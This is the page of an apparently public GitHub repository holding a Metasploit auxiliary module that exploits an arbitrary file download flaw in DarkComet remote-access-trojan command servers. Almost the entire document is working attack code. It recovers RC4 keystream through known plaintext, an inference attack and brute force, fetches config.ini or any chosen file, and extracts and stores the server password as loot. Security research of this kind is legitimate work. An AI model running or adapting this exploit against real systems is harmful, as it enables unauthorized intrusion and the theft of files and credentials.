-
Notifications
You must be signed in to change notification settings - Fork 8
/
darkcomet_filedownloader.rb
429 lines (365 loc) · 13.2 KB
/
darkcomet_filedownloader.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'DarkComet Server Remote File Download Exploit',
'Description' => %q{
This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.
The exploit does not need to know the password chosen for the bot/server communication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery
'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack
],
'References' =>
[
[ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ],
],
'DisclosureDate' => 'Oct 08 2012',
'Platform' => 'win'
))
register_options(
[
Opt::RPORT(1604),
Opt::RHOST('0.0.0.0'),
OptString.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),
OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),
OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),
OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),
OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),
OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])
], self.class)
end
# Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext
def xor_strings(s1, s2)
s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*')
end
def get_keystream(ciphertext, known_plaintext)
c = [ciphertext].pack('H*')
if (known_plaintext.length > c.length)
return xor_strings(c, known_plaintext[0, c.length])
elsif (c.length > known_plaintext.length)
return xor_strings(c[0, known_plaintext.length], known_plaintext)
else
return xor_strings(c, known_plaintext)
end
end
def use_keystream(plaintext, keystream)
if (keystream.length > plaintext.length)
ks_part = keystream[0, plaintext.length]
else
ks_part = keystream
end
return xor_strings(plaintext, ks_part).unpack('H*')[0].upcase
end
# Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)
# since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength
def rc4_initialize(key)
@q1, @q2 = 0, 0
@key = []
key.each_byte {|elem| @key << elem} while @key.size < 256
@key.slice!(256..@key.size-1) if @key.size >= 256
@s = (0..255).to_a
j = 0
0.upto(255) do |i|
j = (j + @s[i] + @key[i] )%256
@s[i], @s[j] = @s[j], @s[i]
end
end
def rc4_keystream
@q1 = (@q1 + 1)%256
@q2 = (@q2 + @s[@q1])%256
@s[@q1], @s[@q2] = @s[@q2], @s[@q1]
@s[(@s[@q1]+@s[@q2])%256]
end
def rc4_process(text)
text.each_byte.map {|i| (i ^ rc4_keystream).chr}.join
end
def dc_encryptpacket(plaintext, key)
rc4_initialize(key)
return rc4_process(plaintext).unpack('H*')[0].upcase
end
# Try to execute the exploit
def try_exploit(exploit_string, keystream, bruting)
connect
idtype_msg = sock.get_once(12)
if (idtype_msg.length != 12)
disconnect
return nil
end
if datastore['KEY'] != ''
exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])
else
# If we don't have a key we need enough keystream
if keystream == nil
disconnect
return nil
end
if (keystream.length < exploit_string.length)
disconnect
return nil
end
exploit_msg = use_keystream(exploit_string, keystream)
end
sock.put(exploit_msg)
if bruting
begin
ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])
rescue Timeout::Error
disconnect
return nil
end
else
ack_msg = sock.get_once(3)
end
if (ack_msg != "\x41\x00\x43")
disconnect
return nil
else
# Different protocol structure for versions >= 5.1
if datastore['NEWVERSION'] == true
if bruting
begin
filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i
rescue Timeout::Error
disconnect
return nil
end
else
filelen = sock.get_once(10).to_i
end
if (filelen == 0)
disconnect
return nil
end
if datastore['KEY'] != ''
a_msg = dc_encryptpacket('A', datastore['KEY'])
else
a_msg = use_keystream('A', keystream)
end
sock.put(a_msg)
if bruting
begin
filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])
rescue Timeout::Error
disconnect
return nil
end
else
filedata = sock.get_once(filelen)
end
if (filedata.length != filelen)
disconnect
return nil
end
sock.put(a_msg)
disconnect
return filedata
else
filedata = ''
if bruting
begin
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
rescue Timeout::Error
disconnect
return nil
end
else
msg = sock.get_once(1024)
end
while ((msg != nil) and (msg != '')) do
filedata += msg
if bruting
begin
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
rescue Timeout::Error
break
end
else
msg = sock.get_once(1024)
end
end
disconnect
if (filedata == '')
return nil
else
return filedata
end
end
end
end
# Fetch a GetSIN response from C2 server
def fetch_getsin()
connect
idtype_msg = sock.get_once(12)
if (idtype_msg.length != 12)
disconnect
return nil
end
keystream = get_keystream(idtype_msg, 'IDTYPE')
server_msg = use_keystream('SERVER', keystream)
sock.put(server_msg)
getsin_msg = sock.get_once(1024)
disconnect
return getsin_msg
end
# Carry out the crypto attack when we don't have a key
def crypto_attack(exploit_string)
getsin_msg = fetch_getsin()
if getsin_msg == nil
return nil
end
getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'
keystream = get_keystream(getsin_msg, getsin_kp)
if (keystream.length < exploit_string.length)
missing_bytecount = exploit_string.length - keystream.length
print_status("Missing #{missing_bytecount} bytes of keystream ...")
inferrence_segment = ''
brute_max = 4
if (missing_bytecount > brute_max)
print_status("Using inferrence attack ...")
# Offsets to monitor for changes
target_offset_range = []
for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)
target_offset_range << i
end
# Store inference results
inference_results = {}
# As long as we haven't fully recovered all offsets through inference
# We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]
getsin_observation = ['']*4
buffer_head = 0
for i in 0..2
getsin_observation[i] = [fetch_getsin()].pack('H*')
sleep(0.5)
end
buffer_tail = 3
# Actual inference attack happens here
while (target_offset_range.length != 0) do
getsin_observation[buffer_tail] = [fetch_getsin()].pack('H*')
sleep(0.5)
# We check if we spot a change within a position between two consecutive items within our circular buffer (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0
target_offset_range.each do |x|
index = buffer_head
while (index != buffer_tail) do
next_index = (index + 1) % 4
# The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same
# observations as well while being constant in at least one previous or subsequent observation
if ((getsin_observation[index][x] != getsin_observation[next_index][x]) and (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) and ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) or (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1])))
target_offset_range.delete(x)
inference_results[x] = xor_strings(getsin_observation[index][x], '9')
break
end
index = next_index
end
end
# Update circular buffer head & tail
buffer_tail = (buffer_tail + 1) % 4
# Move head to right once tail wraps around, discarding oldest item in circular buffer
if (buffer_tail == buffer_head)
buffer_head = (buffer_head + 1) % 4
end
end
# Inferrence attack done, reconstruct final keystream segment
inf_seg = ["\x00"]*(keystream.length + missing_bytecount)
inferrence_results.each do |x, val|
inf_seg[x] = val
end
inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join
missing_bytecount = brute_max
end
if (missing_bytecount > brute_max)
print_status("Improper keystream recovery ...")
return nil
end
print_status("Initiating brute force ...")
# Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)
charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
char_range = missing_bytecount.times.map{ charset }
char_range.first.product(*char_range[1..-1]) do |x|
p = x.join
candidate_plaintext = getsin_kp + p
candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment
filedata = try_exploit(exploit_string, candidate_keystream, true)
if (filedata != nil)
return filedata
end
end
return nil
end
return try_exploit(exploit_string, keystream, false)
end
def parse_password(filedata)
filedata.each_line { |line|
elem = line.strip.split('=')
if (elem.length >= 1)
if (elem[0] == 'PASSWD')
if (elem.length == 2)
return elem[1]
else
return ''
end
end
end
}
return nil
end
def run
# Determine exploit string
if datastore['NEWVERSION'] == true
if ((datastore['TARGETFILE'] != '') and (datastore['KEY'] != ''))
exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'
else
exploit_string = 'QUICKUP1|config.ini|'
end
else
if ((datastore['TARGETFILE'] != '') and (datastore['KEY'] != ''))
exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'
else
exploit_string = 'UPLOADconfig.ini|1|1|'
end
end
# Run exploit
if datastore['KEY'] != ''
filedata = try_exploit(exploit_string, nil, false)
else
filedata = crypto_attack(exploit_string)
end
# Harvest interesting credentials, store loot
if filedata == nil
print_status("Attack seems to have failed, no configfile data retrieved...")
else
# Automatically try to extract password from config.ini if we haven't set a key yet
if datastore['KEY'] == ''
password = parse_password(filedata)
if password == nil
print_status("Could not find password in config.ini ...")
elsif password == ''
print_status("C2 server uses empty password!")
else
print_status("C2 server uses password [#{password}]")
end
end
# Store to loot
if datastore['STORE_LOOT'] == true
print_status("Storing data to loot...")
if ((datastore['KEY'] == '') and (datastore['TARGETFILE'] != ''))
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")
else
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")
end
else
print_status("#{filedata}")
end
end
end
end